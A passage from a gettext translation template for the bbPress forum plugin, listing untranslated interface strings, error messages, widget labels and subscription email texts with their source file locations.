msgid "%s minute"
msgid_plural "%s minutes"
msgstr[0] ""
msgstr[1] ""

#: includes/common/formatting.php:658
msgid "%s second"
msgid_plural "%s seconds"
msgstr[0] ""
msgstr[1] ""

#: includes/common/functions.php:402 includes/common/functions.php:460
msgid "Pending: %s"
msgstr ""

#: includes/common/functions.php:410 includes/common/functions.php:468
msgid "Spammed: %s"
msgstr ""

#: includes/common/functions.php:414 includes/common/functions.php:472
msgid "Trashed: %s"
msgstr ""

#: includes/common/functions.php:464
msgid "Private: %s"
msgstr ""

#: includes/common/functions.php:556
msgid "<strong>Error</strong>: Invalid author name."
msgstr ""

#: includes/common/functions.php:562
msgid "<strong>Error</strong>: Invalid email address."
msgstr ""

#: includes/common/functions.php:1101
msgid ""
"%1$s wrote:\n"
"\n"
"%2$s\n"
"\n"
"Post Link: %3$s\n"
"\n"
"-----------\n"
"\n"
"You are receiving this email because you subscribed to a forum topic.\n"
"\n"
"Login and visit the topic to unsubscribe from these emails."
msgstr ""

#: includes/common/functions.php:1268
msgid ""
"%1$s wrote:\n"
"\n"
"%2$s\n"
"\n"
"Topic Link: %3$s\n"
"\n"
"-----------\n"
"\n"
"You are receiving this email because you subscribed to a forum.\n"
"\n"
"Login and visit the topic to unsubscribe from these emails."
msgstr ""

#: includes/common/template.php:1157
msgid ""
"Conditional query tags do not work before the query is run. Before then, "
"they always return false."
msgstr ""

#: includes/common/template.php:1629
msgid "No topics available"
msgstr ""

#: includes/common/template.php:1634
msgid "No forums available"
msgstr ""

#: includes/common/template.php:1639
msgid "None available"
msgstr ""

#: includes/common/template.php:2253
msgid "Home"
msgstr ""

#: includes/common/template.php:2323
msgid "(Edit)"
msgstr ""

#: includes/common/template.php:2327 includes/common/template.php:2442
#: includes/common/template.php:2687 includes/core/theme-compat.php:804
#: templates/default/extras/taxonomy-topic-tag-edit.php:17
#: templates/default/extras/taxonomy-topic-tag.php:17
msgid "Topic Tag: %s"
msgstr ""

#: includes/common/template.php:2348
msgid "&lsaquo;"
msgstr ""

#: includes/common/template.php:2348
msgid "&rsaquo;"
msgstr ""

#: includes/common/template.php:2611
msgid "Log Out"
msgstr ""

#: includes/common/template.php:2651
msgid "Forum Edit: %s"
msgstr ""

#: includes/common/template.php:2656
msgid "Topic Edit: %s"
msgstr ""

#: includes/common/template.php:2661
msgid "Reply Edit: %s"
msgstr ""

#: includes/common/template.php:2666
msgid "Topic Tag Edit: %s"
msgstr ""

#: includes/common/template.php:2673
msgid "Forum: %s"
msgstr ""

#: includes/common/template.php:2678
msgid "Topic: %s"
msgstr ""

#: includes/common/template.php:2700
msgid "Your Topics"
msgstr ""

#: includes/common/template.php:2704
#. translators: user's display name
msgid "%s's Topics"
msgstr ""

#: includes/common/template.php:2710
msgid "Your Replies"
msgstr ""

#: includes/common/template.php:2714
#. translators: user's display name
msgid "%s's Replies"
msgstr ""

#: includes/common/template.php:2720
msgid "Your Favorites"
msgstr ""

#: includes/common/template.php:2724
#: templates/default/bbpress/user-details.php:57
#. translators: user's display name
msgid "%s's Favorites"
msgstr ""

#: includes/common/template.php:2730
msgid "Your Subscriptions"
msgstr ""

#: includes/common/template.php:2734
#: templates/default/bbpress/user-details.php:67
#. translators: user's display name
msgid "%s's Subscriptions"
msgstr ""

#: includes/common/template.php:2740
msgid "Your Profile"
msgstr ""

#: includes/common/template.php:2744
#: templates/default/bbpress/user-details.php:30
#. translators: user's display name
msgid "%s's Profile"
msgstr ""

#: includes/common/template.php:2753
msgid "Edit Your Profile"
msgstr ""

#: includes/common/template.php:2758
#: templates/default/bbpress/user-details.php:74
msgid "Edit %s's Profile"
msgstr ""

#: includes/common/template.php:2766
msgid "View: %s"
msgstr ""

#: includes/common/widgets.php:34
msgid "A simple login form with optional links to sign-up and lost password pages."
msgstr ""

#: includes/common/widgets.php:38
msgid "(bbPress) Login Widget"
msgstr ""

#: includes/common/widgets.php:81 includes/common/widgets.php:102
#: templates/default/bbpress/form-user-login.php:17
#: templates/default/bbpress/form-user-login.php:38
msgid "Log In"
msgstr ""

#: includes/common/widgets.php:84
#: templates/default/bbpress/form-user-edit.php:107
#: templates/default/bbpress/form-user-login.php:20
#: templates/default/bbpress/form-user-register.php:29
msgid "Username"
msgstr ""

#: includes/common/widgets.php:89
#: templates/default/bbpress/form-user-login.php:25
#: templates/default/bbpress/form-user-passwords.php:17
msgid "Password"
msgstr ""

#: includes/common/widgets.php:95
#: templates/default/bbpress/form-user-login.php:31
msgid "Keep me signed in"
msgstr ""

#: includes/common/widgets.php:114
#: templates/default/bbpress/form-user-register.php:42
msgid "Register"
msgstr ""

#: includes/common/widgets.php:120
#: templates/default/bbpress/form-user-lost-pass.php:17
msgid "Lost Password"
msgstr ""

#: includes/common/widgets.php:175 includes/common/widgets.php:320
#: includes/common/widgets.php:437 includes/common/widgets.php:599
#: includes/common/widgets.php:871 includes/common/widgets.php:1015
#: includes/common/widgets.php:1218
msgid "Title:"
msgstr ""

#: includes/common/widgets.php:180
msgid "Register URI:"
msgstr ""

#: includes/common/widgets.php:185
msgid "Lost Password URI:"
msgstr ""

#: includes/common/widgets.php:227
msgid "A list of registered optional topic views."
msgstr ""

#: includes/common/widgets.php:231
msgid "(bbPress) Topic Views List"
msgstr ""

#: includes/common/widgets.php:361
msgid "The bbPress forum search form."
msgstr ""

#: includes/common/widgets.php:365
msgid "(bbPress) Forum Search Form"
msgstr ""

#: includes/common/widgets.php:454 includes/forums/template.php:60
msgid "Search Forums"
msgstr ""

#: includes/common/widgets.php:478
msgid "A list of forums with an option to set the parent."
msgstr ""

#: includes/common/widgets.php:482
msgid "(bbPress) Forums List"
msgstr ""

#: includes/common/widgets.php:605 includes/common/widgets.php:875
msgid "Parent Forum ID:"
msgstr ""

#: includes/common/widgets.php:611 includes/common/widgets.php:881
msgid "\"0\" to show only root - \"any\" to show all"
msgstr ""

#: includes/common/widgets.php:651
msgid "A list of recent topics, sorted by: newness, popularity, or recent replies."
msgstr ""

#: includes/common/widgets.php:655
msgid "(bbPress) Recent Topics"
msgstr ""

#: includes/common/widgets.php:872
msgid "Maximum topics to show:"
msgstr ""

#: includes/common/widgets.php:884 includes/common/widgets.php:1220
msgid "Show post date:"
msgstr ""

#: includes/common/widgets.php:885
msgid "Show topic author:"
msgstr ""

#: includes/common/widgets.php:888
msgid "Order By:"
msgstr ""

#: includes/common/widgets.php:890
msgid "Newest Topics"
msgstr ""

#: includes/common/widgets.php:891
#: templates/default/extras/page-forum-statistics.php:34
msgid "Popular Topics"
msgstr ""

#: includes/common/widgets.php:892
msgid "Topics With Recent Replies"
msgstr ""

#: includes/common/widgets.php:908
msgid "Recent Topics"
msgstr ""

#: includes/common/widgets.php:937
msgid "Some statistics from your forum."
msgstr ""

#: includes/common/widgets.php:941
msgid "(bbPress) Statistics"
msgstr ""

#: includes/common/widgets.php:1032
msgid "Forum Statistics"
msgstr ""

#: includes/common/widgets.php:1056
msgid "A list of the most recent replies."
msgstr ""

#: includes/common/widgets.php:1060
msgid "(bbPress) Recent Replies"
msgstr ""

#: includes/common/widgets.php:1219
msgid "Maximum replies to show:"
msgstr ""

#: includes/common/widgets.php:1221
msgid "Show reply author:"
msgstr ""

#: includes/common/widgets.php:1235
msgid "Recent Replies"
msgstr ""

#: includes/core/capabilities.php:501
msgid "Editable forum roles no longer exist."
msgstr ""

#: includes/core/update.php:207
msgid "General"
msgstr ""

#: includes/core/update.php:208
msgid "General Discussion"
msgstr ""

#: includes/core/update.php:211
msgid "Hello World!"
msgstr ""

#: includes/core/update.php:212
msgid "This is the very first topic in these forums."
msgstr ""

#: includes/core/update.php:215
msgid "And this is the very first reply."
msgstr ""

#: includes/extend/akismet.php:171 includes/extend/akismet.php:176
#: includes/extend/akismet.php:492 includes/extend/akismet.php:497
msgid "No response"
msgstr ""

#: includes/extend/akismet.php:353
#. translators: %s: reporter name
msgid "%s reported this topic as spam"
msgstr ""

#: includes/extend/akismet.php:358
#. translators: %s: reporter name
msgid "%s reported this reply as spam"
msgstr ""

#: includes/extend/akismet.php:363
#. translators: 1: reporter name, 2: comment type
msgid "%1$s reported this %2$s as spam"
msgstr ""

#: includes/extend/akismet.php:378
#. translators: %s: reporter name
msgid "%s reported this topic as not spam"
msgstr ""

#: includes/extend/akismet.php:383
#. translators: %s: reporter name
msgid "%s reported this reply as not spam"
msgstr ""

#: includes/extend/akismet.php:388
#. translators: 1: reporter name, 2: comment type
msgid "%1$s reported this %2$s as not spam"
msgstr ""

#: includes/extend/akismet.php:573
msgid "Akismet caught this post as spam"
msgstr ""

#: includes/extend/akismet.php:582 includes/extend/akismet.php:605
msgid "Post status was changed to %s"
msgstr ""

#: includes/extend/akismet.php:596
msgid "Akismet cleared this post as not spam"
msgstr ""

#: includes/extend/akismet.php:619
msgid ""
"Akismet was unable to check this post (response: %s), will automatically "
"retry again later."
msgstr ""

#: includes/extend/akismet.php:829 includes/extend/akismet.php:839
msgid "Akismet History"
msgstr ""

#: includes/extend/akismet.php:883
msgid "No recorded history. Akismet has not checked this post."
msgstr ""

#: includes/extend/buddypress/activity.php:195
msgid "New forum topic"
msgstr ""

#: includes/extend/buddypress/activity.php:205
msgid "New forum reply"
msgstr ""

#: includes/extend/buddypress/activity.php:452
#: includes/extend/buddypress/functions.php:779
msgid "%1$s started the topic %2$s in the forum %3$s"
msgstr ""

#: includes/extend/buddypress/activity.php:590
#: includes/extend/buddypress/functions.php:780
msgid "%1$s replied to the topic %2$s in the forum %3$s"
msgstr ""

#: includes/extend/buddypress/groups.php:379
msgid "<strong>Error</strong>: Forum ID is invalid."
msgstr ""

#: includes/extend/buddypress/groups.php:442
msgid "<strong>Error</strong>: Reply To is invalid."
msgstr ""

#: includes/extend/buddypress/groups.php:467
#: includes/extend/buddypress/groups.php:470
msgid "Group Forum Settings"
msgstr ""

#: includes/extend/buddypress/groups.php:471
#: includes/extend/buddypress/groups.php:670
msgid ""
"Create a discussion forum to allow members of this group to communicate in "
"a structured, bulletin-board style fashion."
msgstr ""

#: includes/extend/buddypress/groups.php:475
#: includes/extend/buddypress/groups.php:673
msgid "Yes. I want this group to have a forum."
msgstr ""

#: includes/extend/buddypress/groups.php:478
msgid "Saying no will not delete existing forum content."
msgstr ""

#: includes/extend/buddypress/groups.php:483
msgid "Group Forum:"
msgstr ""

#: includes/extend/buddypress/groups.php:491
msgid "Network administrators can reconfigure which forum belongs to this group."
msgstr ""

#: includes/extend/buddypress/groups.php:496
msgid "Save Settings"
msgstr ""

#: includes/extend/buddypress/groups.php:531
#: includes/extend/buddypress/groups.php:688
#: includes/extend/buddypress/notifications.php:199
#: includes/forums/functions.php:126 includes/forums/functions.php:393
#: includes/replies/functions.php:134 includes/replies/functions.php:527
#: includes/replies/functions.php:1246 includes/topics/functions.php:105
#: includes/topics/functions.php:468 includes/topics/functions.php:1091
#: includes/topics/functions.php:1366 includes/topics/functions.php:1702
#: includes/topics/functions.php:1746 includes/topics/functions.php:1807
#: includes/users/engagements.php:612 includes/users/engagements.php:853
#: includes/users/functions.php:196 includes/users/functions.php:202
#: includes/users/functions.php:380
msgid "<strong>Error</strong>: Are you sure you wanted to do that?"
msgstr ""

#: includes/extend/buddypress/groups.php:668
msgid "Group Forum"
msgstr ""

#: includes/extend/buddypress/groups.php:1017
msgid "This group does not currently have a forum."
msgstr ""

#: includes/extend/buddypress/loader.php:119
msgid "Search Forums..."
msgstr ""

#: includes/extend/buddypress/loader.php:356
#: templates/default/bbpress/user-subscriptions.php:38
msgid "Subscribed Topics"
msgstr ""

#: includes/extend/buddypress/notifications.php:89
msgid "You have %d new replies"
msgstr ""

#: includes/extend/buddypress/notifications.php:95
msgid "You have %1$d new reply to %2$s from %3$s"
msgstr ""

#: includes/extend/buddypress/notifications.php:96
msgid "You have %1$d new reply to %2$s"
msgstr ""

#: includes/extend/buddypress/notifications.php:101
msgid "Topic Replies"
msgstr ""

#: includes/extend/buddypress/notifications.php:203
msgid ""
"<strong>Error</strong>: You do not have permission to mark notifications "
"for that user."
msgstr ""

#: includes/forums/functions.php:140
msgid "<strong>Error</strong>: You do not have permission to create new forums."
msgstr ""

#: includes/forums/functions.php:165 includes/forums/functions.php:454
msgid "<strong>Error</strong>: Your forum needs a title."
msgstr ""

#: includes/forums/functions.php:170 includes/forums/functions.php:459
#: includes/replies/functions.php:284 includes/replies/functions.php:611
#: includes/topics/functions.php:163 includes/topics/functions.php:535
msgid "<strong>Error</strong>: Your title is too long."
msgstr ""

#: includes/forums/functions.php:184 includes/forums/functions.php:473
msgid "<strong>Error</strong>: Your forum description cannot be empty."
msgstr ""

#: includes/forums/functions.php:199
msgid "<strong>Error</strong>: Your forum must have a parent."
msgstr ""

#: includes/forums/functions.php:206
msgid ""
"<strong>Error</strong>: This forum is a category. No forums can be created "
"in this forum."
msgstr ""

#: includes/forums/functions.php:211 includes/forums/functions.php:429
msgid "<strong>Error</strong>: This forum has been closed to new forums."
msgstr ""

#: includes/forums/functions.php:216 includes/forums/functions.php:434
msgid ""
"<strong>Error</strong>: This forum is private and you do not have the "
"capability to read or create new forums in it."
msgstr ""

#: includes/forums/functions.php:221 includes/forums/functions.php:439
msgid ""
"<strong>Error</strong>: This forum is hidden and you do not have the "
"capability to read or create new forums in it."
msgstr ""

#: includes/forums/functions.php:228 includes/replies/functions.php:304
#: includes/topics/functions.php:247
msgid "<strong>Error</strong>: Slow down; you move too fast."
msgstr ""

#: includes/forums/functions.php:234
msgid "<strong>Error</strong>: This forum already exists."
msgstr ""

#: includes/forums/functions.php:240
msgid "<strong>Error</strong>: Your forum cannot be created at this time."
msgstr ""

#: includes/forums/functions.php:353 includes/replies/functions.php:484
#: includes/topics/functions.php:400
msgid "<strong>Error</strong>: The following problem(s) occurred: %s"
msgstr ""

#: includes/forums/functions.php:357
msgid "<strong>Error</strong>: The forum was not created."
msgstr ""

#: includes/forums/functions.php:382
msgid "<strong>Error</strong>: Forum ID not found."
msgstr ""

#: includes/forums/functions.php:398
msgid "<strong>Error</strong>: The forum you want to edit was not found."
msgstr ""

#: includes/forums/functions.php:403
msgid "<strong>Error</strong>: You do not have permission to edit that forum."
msgstr ""

#: includes/forums/functions.php:479
msgid "<strong>Error</strong>: Your forum cannot be edited at this time."
msgstr ""

#: includes/forums/template.php:52 includes/replies/template.php:53
#: includes/topics/template.php:51
msgid "Add New"
msgstr ""

#: includes/forums/template.php:53 templates/default/bbpress/form-forum.php:40
msgid "Create New Forum"
msgstr ""

#: includes/forums/template.php:55
msgid "Edit Forum"
msgstr ""

#: includes/forums/template.php:56
msgid "New Forum"
msgstr ""

#: includes/forums/template.php:57 includes/forums/template.php:58
msgid "View Forum"
msgstr ""

#: includes/forums/template.php:59
msgid "View Forums"
msgstr ""

#: includes/forums/template.php:61
msgid "No forums found"
msgstr ""

#: includes/forums/template.php:62
msgid "No forums found in Trash"
msgstr ""

#: includes/forums/template.php:63
msgid "Filter forums list"
msgstr ""

#: includes/forums/template.php:64
msgid "Forums list"
msgstr ""

#: includes/forums/template.php:65
msgid "Forums list navigation"
msgstr ""

#: includes/forums/template.php:66 templates/default/bbpress/form-forum.php:139
msgid "Parent Forum:"
msgstr ""

#: includes/forums/template.php:69
msgid "Insert into forum"
msgstr ""

#: includes/forums/template.php:70
msgid "Uploaded to this forum"
msgstr ""

#: includes/forums/template.php:71
msgid "Forum Image"
msgstr ""

#: includes/forums/template.php:72
msgid "Set forum image"
msgstr ""

#: includes/forums/template.php:73
msgid "Remove forum image"
msgstr ""

#: includes/forums/template.php:74
msgid "Use as forum image"
msgstr ""

#: includes/forums/template.php:75
msgid "Forum published."
msgstr ""

#: includes/forums/template.php:76
msgid "Forum published privately."
msgstr ""

#: includes/forums/template.php:77
msgid "Forum reverted to draft."
msgstr ""

#: includes/forums/template.php:78
msgid "Forum scheduled."
msgstr ""

#: includes/forums/template.php:833 includes/topics/template.php:1781
#: includes/users/template.php:1279
msgid "Subscribe"
msgstr ""

#: includes/forums/template.php:834 includes/topics/template.php:1782
#: includes/users/template.php:1280
msgid "Unsubscribe"
msgstr ""

#: includes/forums/template.php:1170 includes/forums/template.php:2012
msgid "%s topic"
msgid_plural "%s topics"
msgstr[0] ""
msgstr[1] ""

#: includes/forums/template.php:1185 includes/topics/template.php:2031
msgid "(+%s hidden)"
msgid_plural "(+%s hidden)"
msgstr[0] ""
msgstr[1] ""

#: includes/forums/template.php:2001 includes/topics/template.php:2016
msgid "%s reply"
msgid_plural "%s replies"
msgstr[0] ""
msgstr[1] ""

#: includes/forums/template.php:2021
msgid "This category has %1$s, %2$s, and was last updated %3$s by %4$s."
msgstr ""

#: includes/forums/template.php:2022
msgid "This forum has %1$s, %2$s, and was last updated %3$s by %4$s."
msgstr ""

#: includes/forums/template.php:2027
msgid "This category has %1$s, and was last updated %2$s by %3$s."
msgstr ""

#: includes/forums/template.php:2028
msgid "This forum has %1$s, and was last updated %2$s by %3$s."
msgstr ""

#: includes/forums/template.php:2034
msgid "This category has %1$s and %2$s."
msgstr ""

#: includes/forums/template.php:2035
msgid "This forum has %1$s and %2$s."
msgstr ""

#: includes/forums/template.php:2040
msgid "This category has %1$s."
msgstr ""

#: includes/forums/template.php:2041
msgid "This forum has %1$s."
msgstr ""

#: includes/forums/template.php:2045
msgid "This forum is empty."
msgstr ""

#: includes/replies/functions.php:159
msgid "<strong>Error</strong>: You do not have permission to reply."
msgstr ""

#: includes/replies/functions.php:170
msgid "<strong>Error</strong>: Topic ID is missing."
msgstr ""

#: includes/replies/functions.php:174
msgid "<strong>Error</strong>: Topic ID must be a number."
msgstr ""

#: includes/replies/functions.php:184
msgid "<strong>Error</strong>: Topic ID cannot be a negative number."
msgstr ""

#: includes/replies/functions.php:188
msgid "<strong>Error</strong>: Topic does not exist."
msgstr ""

#: includes/replies/functions.php:207 includes/replies/functions.php:221
#: includes/topics/functions.php:187 includes/topics/functions.php:201
#: includes/topics/functions.php:483
msgid "<strong>Error</strong>: Forum ID is missing."
msgstr ""

#: includes/replies/functions.php:211 includes/topics/functions.php:191
msgid "<strong>Error</strong>: Forum ID must be a number."
msgstr ""

#: includes/replies/functions.php:225 includes/topics/functions.php:205
msgid "<strong>Error</strong>: Forum ID cannot be a negative number."
msgstr ""

#: includes/replies/functions.php:229 includes/topics/functions.php:209
msgid "<strong>Error</strong>: Forum does not exist."
msgstr ""

#: includes/replies/functions.php:243 includes/replies/functions.php:579
msgid ""
"<strong>Error</strong>: This forum is a category. No replies can be created "
"in this forum."
msgstr ""

#: includes/replies/functions.php:250 includes/replies/functions.php:586
msgid "<strong>Error</strong>: This forum has been closed to new replies."
msgstr ""

#: includes/replies/functions.php:255 includes/replies/functions.php:591
msgid ""
"<strong>Error</strong>: This forum is private and you do not have the "
"capability to read or create new replies in it."
msgstr ""

#: includes/replies/functions.php:259 includes/replies/functions.php:595
msgid ""
"<strong>Error</strong>: This forum is hidden and you do not have the "
"capability to read or create new replies in it."
msgstr ""

#: includes/replies/functions.php:298 includes/replies/functions.php:625
msgid "<strong>Error</strong>: Your reply cannot be empty."
msgstr ""

#: includes/replies/functions.php:310
msgid ""
"<strong>Error</strong>: Duplicate reply detected; it looks as though "
"you&#8217;ve already said that."
msgstr ""

#: includes/replies/functions.php:316
msgid "<strong>Error</strong>: Your reply cannot be created at this time."
msgstr ""

#: includes/replies/functions.php:341
msgid "<strong>Error</strong>: Topic is closed."
msgstr ""

#: includes/replies/functions.php:401 includes/replies/functions.php:721
msgid "<strong>Error</strong>: There was a problem adding the tags to the topic."
msgstr ""

#: includes/replies/functions.php:488
msgid "<strong>Error</strong>: The reply was not created."
msgstr ""

#: includes/replies/functions.php:516
msgid "<strong>Error</strong>: Reply ID not found."
msgstr ""

#: includes/replies/functions.php:533
msgid "<strong>Error</strong>: The reply you want to edit was not found."
msgstr ""

#: includes/replies/functions.php:544
msgid "<strong>Error</strong>: You do not have permission to edit that reply."
msgstr ""

#: includes/replies/functions.php:631
msgid "<strong>Error</strong>: Your reply cannot be edited at this time."
msgstr ""

#: includes/replies/functions.php:1222
msgid "<strong>Error</strong>: A reply ID is required"
msgstr ""

#: includes/replies/functions.php:1231
msgid "<strong>Error</strong>: The reply you want to move was not found."
msgstr ""

#: includes/replies/functions.php:1241
msgid "<strong>Error</strong>: The topic you want to move from was not found."
msgstr ""

#: includes/replies/functions.php:1252 includes/topics/functions.php:1102
#: includes/topics/functions.php:1372
msgid "<strong>Error</strong>: You do not have permission to edit the source topic."
msgstr ""

#: includes/replies/functions.php:1262
msgid "<strong>Error</strong>: You need to choose a valid move option."
msgstr ""

#: includes/replies/functions.php:1275 includes/topics/functions.php:1395
msgid "<strong>Error</strong>: A topic ID is required."
msgstr ""

#: includes/replies/functions.php:1285
msgid "<strong>Error</strong>: The topic you want to move to was not found."
msgstr ""

#: includes/replies/functions.php:1290 includes/topics/functions.php:1122
#: includes/topics/functions.php:1410
msgid ""
"<strong>Error</strong>: You do not have permission to edit the destination "
"topic."
msgstr ""

#: includes/replies/functions.php:1344 includes/topics/functions.php:1448
msgid ""
"<strong>Error</strong>: There was a problem converting the reply into the "
"topic. Please try again."
msgstr ""

#: includes/replies/functions.php:1349 includes/topics/functions.php:1453
msgid ""
"<strong>Error</strong>: You do not have permission to create new topics. "
"The reply could not be converted into a topic."
msgstr ""

#: includes/replies/functions.php:1497
msgid "<strong>Error</strong>: This reply could not be found or no longer exists."
msgstr ""

#: includes/replies/functions.php:1503 includes/topics/functions.php:2024
msgid "<strong>Error</strong>: You do not have permission to do that."
msgstr ""

#: includes/replies/functions.php:1579
msgid "<strong>Error</strong>: There was a problem approving the reply."
msgstr ""

#: includes/replies/functions.php:1579
msgid "<strong>Error</strong>: There was a problem unapproving the reply."
msgstr ""

#: includes/replies/functions.php:1590
msgid "<strong>Error</strong>: There was a problem unmarking the reply as spam."
msgstr ""

#: includes/replies/functions.php:1590
msgid "<strong>Error</strong>: There was a problem marking the reply as spam."
msgstr ""

#: includes/replies/functions.php:1605
msgid "<strong>Error</strong>: There was a problem trashing the reply."
msgstr ""

#: includes/replies/functions.php:1613
msgid "<strong>Error</strong>: There was a problem untrashing the reply."
msgstr ""

#: includes/replies/functions.php:1621
msgid "<strong>Error</strong>: There was a problem deleting the reply."
msgstr ""

#: includes/replies/functions.php:2134
msgid "All Posts"
msgstr ""

#: includes/replies/functions.php:2180 includes/topics/functions.php:3800
msgid "Replies: %s"
msgstr ""

#: includes/replies/template.php:54
msgid "Create New Reply"
msgstr ""

#: includes/replies/template.php:56
msgid "Edit Reply"
msgstr ""

#: includes/replies/template.php:57
msgid "New Reply"
msgstr ""

#: includes/replies/template.php:58 includes/replies/template.php:59
msgid "View Reply"
msgstr ""

#: includes/replies/template.php:60
msgid "View Replies"
msgstr ""

#: includes/replies/template.php:61
msgid "Search Replies"
msgstr ""

#: includes/replies/template.php:62
msgid "No replies found"
msgstr ""

#: includes/replies/template.php:63
msgid "No replies found in Trash"
msgstr ""

#: includes/replies/template.php:64
msgid "Filter replies list"
msgstr ""

#: includes/replies/template.php:65
msgid "Replies list"
msgstr ""

#: includes/replies/template.php:66
msgid "Replies list navigation"
msgstr ""

#: includes/replies/template.php:67
msgid "Parent Topic:"
msgstr ""

#: includes/replies/template.php:68
msgid "Forum Replies"
msgstr ""

#: includes/replies/template.php:70
msgid "Insert into reply"
msgstr ""

#: includes/replies/template.php:71
msgid "Uploaded to this reply"
msgstr ""

#: includes/replies/template.php:72
msgid "Reply Image"
msgstr ""

#: includes/replies/template.php:73
msgid "Set reply image"
msgstr ""

#: includes/replies/template.php:74
msgid "Remove reply image"
msgstr ""

#: includes/replies/template.php:75
msgid "Use as reply image"
msgstr ""

#: includes/replies/template.php:76
msgid "Reply published."
msgstr ""

#: includes/replies/template.php:77
msgid "Reply published privately."
msgstr ""

#: includes/replies/template.php:78
msgid "Reply reverted to draft."
msgstr ""

#: includes/replies/template.php:79
msgid "Reply scheduled."
msgstr ""

#: includes/replies/template.php:552
#: templates/default/bbpress/form-reply.php:30
msgid "Reply To: %s"
msgstr ""

#: includes/replies/template.php:764
msgid "This reply was modified %1$s by %2$s. Reason: %3$s"
msgstr ""

#: includes/replies/template.php:766
msgid "This reply was modified %1$s by %2$s."
msgstr ""

#: includes/replies/template.php:1196 includes/topics/template.php:1429
#: includes/users/template.php:2005
msgid "View %s's profile"
msgstr ""

#: includes/replies/template.php:1197 includes/topics/template.php:1430
#: includes/users/template.php:2006
msgid "Visit %s's website"
msgstr ""

#: includes/replies/template.php:1653
#: templates/default/bbpress/form-user-passwords.php:31
msgid "Cancel"
msgstr ""

#: includes/replies/template.php:1963 includes/topics/template.php:2517
#: templates/default/bbpress/form-topic-tag.php:100
#: templates/default/bbpress/form-topic-tag.php:117
msgid "Delete"
msgstr ""

#: includes/replies/template.php:1988 includes/topics/template.php:2538
msgid "Are you sure you want to delete that permanently?"
msgstr ""

#: includes/replies/template.php:2085
msgid "Move"
msgstr ""

#: includes/replies/template.php:2086
msgid "Move this reply"
msgstr ""

#: includes/replies/template.php:2144
msgid "Split"
msgstr ""

#: includes/replies/template.php:2145
msgid "Split the topic from this reply"
msgstr ""

#: includes/replies/template.php:2379
msgid "Viewing %1$s reply thread"
msgid_plural "Viewing %1$s reply threads"
msgstr[0] ""
msgstr[1] ""

#: includes/replies/template.php:2386
msgid "Viewing %1$s reply"
msgid_plural "Viewing %1$s replies"
msgstr[0] ""
msgstr[1] ""

#: includes/replies/template.php:2390
msgid "Viewing %2$s replies (of %4$s total)"
msgid_plural "Viewing %1$s replies - %2$s through %3$s (of %4$s total)"
msgstr[0] ""
msgstr[1] ""

#: includes/replies/template.php:2398
msgid "Viewing %1$s post"
msgid_plural "Viewing %1$s posts"
msgstr[0] ""
msgstr[1] ""

#: includes/replies/template.php:2402
msgid "Viewing %2$s post (of %4$s total)"
msgid_plural "Viewing %1$s posts - %2$s through %3$s (of %4$s total)"
msgstr[0] ""
msgstr[1] ""

#: includes/search/template.php:179
msgid "Search Results for '%s'"
msgstr ""

#: includes/search/template.php:414
msgid "Viewing %1$s result"
msgid_plural "Viewing %1$s results"
msgstr[0] ""
msgstr[1] ""

#: includes/search/template.php:418
msgid "Viewing %2$s results (of %4$s total)"
msgid_plural "Viewing %1$s results - %2$s through %3$s (of %4$s total)"
msgstr[0] ""
msgstr[1] ""

#: includes/topics/functions.php:132
msgid "<strong>Error</strong>: You do not have permission to create new topics."
msgstr ""

#: includes/topics/functions.php:158 includes/topics/functions.php:530
msgid "<strong>Error</strong>: Your topic needs a title."
msgstr ""

#: includes/topics/functions.php:177 includes/topics/functions.php:549
msgid "<strong>Error</strong>: Your topic cannot be empty."
msgstr ""

#: includes/topics/functions.php:223
msgid ""
"<strong>Error</strong>: This forum is a category. No topics can be created "
"in this forum."
msgstr ""

#: includes/topics/functions.php:230 includes/topics/functions.php:505
msgid "<strong>Error</strong>: This forum has been closed to new topics."
msgstr ""

#: includes/topics/functions.php:235 includes/topics/functions.php:510
msgid ""
"<strong>Error</strong>: This forum is private and you do not have the "
"capability to read or create new topics in it."
msgstr ""

#: includes/topics/functions.php:239 includes/topics/functions.php:514
msgid ""
"<strong>Error</strong>: This forum is hidden and you do not have the "
"capability to read or create new topics in it."
msgstr ""

#: includes/topics/functions.php:253
msgid ""
"<strong>Error</strong>: Duplicate topic detected; it looks as though "
"you&#8217;ve already said that."
msgstr ""

#: includes/topics/functions.php:259
msgid "<strong>Error</strong>: Your topic cannot be created at this time."
msgstr ""

#: includes/topics/functions.php:404
msgid "<strong>Error</strong>: The topic was not created."
msgstr ""

#: includes/topics/functions.php:430 includes/topics/functions.php:1084
msgid "<strong>Error</strong>: Topic ID not found."
msgstr ""

#: includes/topics/functions.php:441
msgid "<strong>Error</strong>: The topic you want to edit was not found."
msgstr ""

#: includes/topics/functions.php:452
msgid "<strong>Error</strong>: You do not have permission to edit that topic."
msgstr ""

#: includes/topics/functions.php:498
msgid ""
"<strong>Error</strong>: This forum is a category. No topics can be created "
"in it."
msgstr ""

#: includes/topics/functions.php:555
msgid "<strong>Error</strong>: Your topic cannot be edited at this time."
msgstr ""

#: includes/topics/functions.php:1096
msgid "<strong>Error</strong>: The topic you want to merge was not found."
msgstr ""

#: includes/topics/functions.php:1110
msgid "<strong>Error</strong>: Destination topic ID not found."
msgstr ""

#: includes/topics/functions.php:1117
msgid "<strong>Error</strong>: The topic you want to merge to was not found."
msgstr ""

#: includes/topics/functions.php:1342
msgid "<strong>Error</strong>: A reply ID is required."
msgstr ""

#: includes/topics/functions.php:1351
msgid "<strong>Error</strong>: The reply you want to split from was not found."
msgstr ""

#: includes/topics/functions.php:1361
msgid "<strong>Error</strong>: The topic you want to split was not found."
msgstr ""

#: includes/topics/functions.php:1382
msgid "<strong>Error</strong>: You need to choose a valid split option."
msgstr ""

#: includes/topics/functions.php:1405
msgid "<strong>Error</strong>: The topic you want to split to was not found."
msgstr ""

#: includes/topics/functions.php:1690
msgid ""
"<strong>Error</strong>: The following problem(s) have been found while "
"getting the tag: %s"
msgstr ""

#: includes/topics/functions.php:1708 includes/topics/functions.php:1752
msgid "<strong>Error</strong>: You do not have permission to edit the topic tags."
msgstr ""

#: includes/topics/functions.php:1714 includes/topics/functions.php:1758
msgid "<strong>Error</strong>: You need to enter a tag name."
msgstr ""

#: includes/topics/functions.php:1729
msgid ""
"<strong>Error</strong>: The following problem(s) have been found while "
"updating the tag: %s"
msgstr ""

#: includes/topics/functions.php:1769 includes/topics/functions.php:1790
msgid ""
"<strong>Error</strong>: The following problem(s) have been found while "
"merging the tags: %s"
msgstr ""

#: includes/topics/functions.php:1778
msgid "<strong>Error</strong>: The tags which are being merged can not be the same."
msgstr ""

#: includes/topics/functions.php:1813
msgid "<strong>Error</strong>: You do not have permission to delete the topic tags."
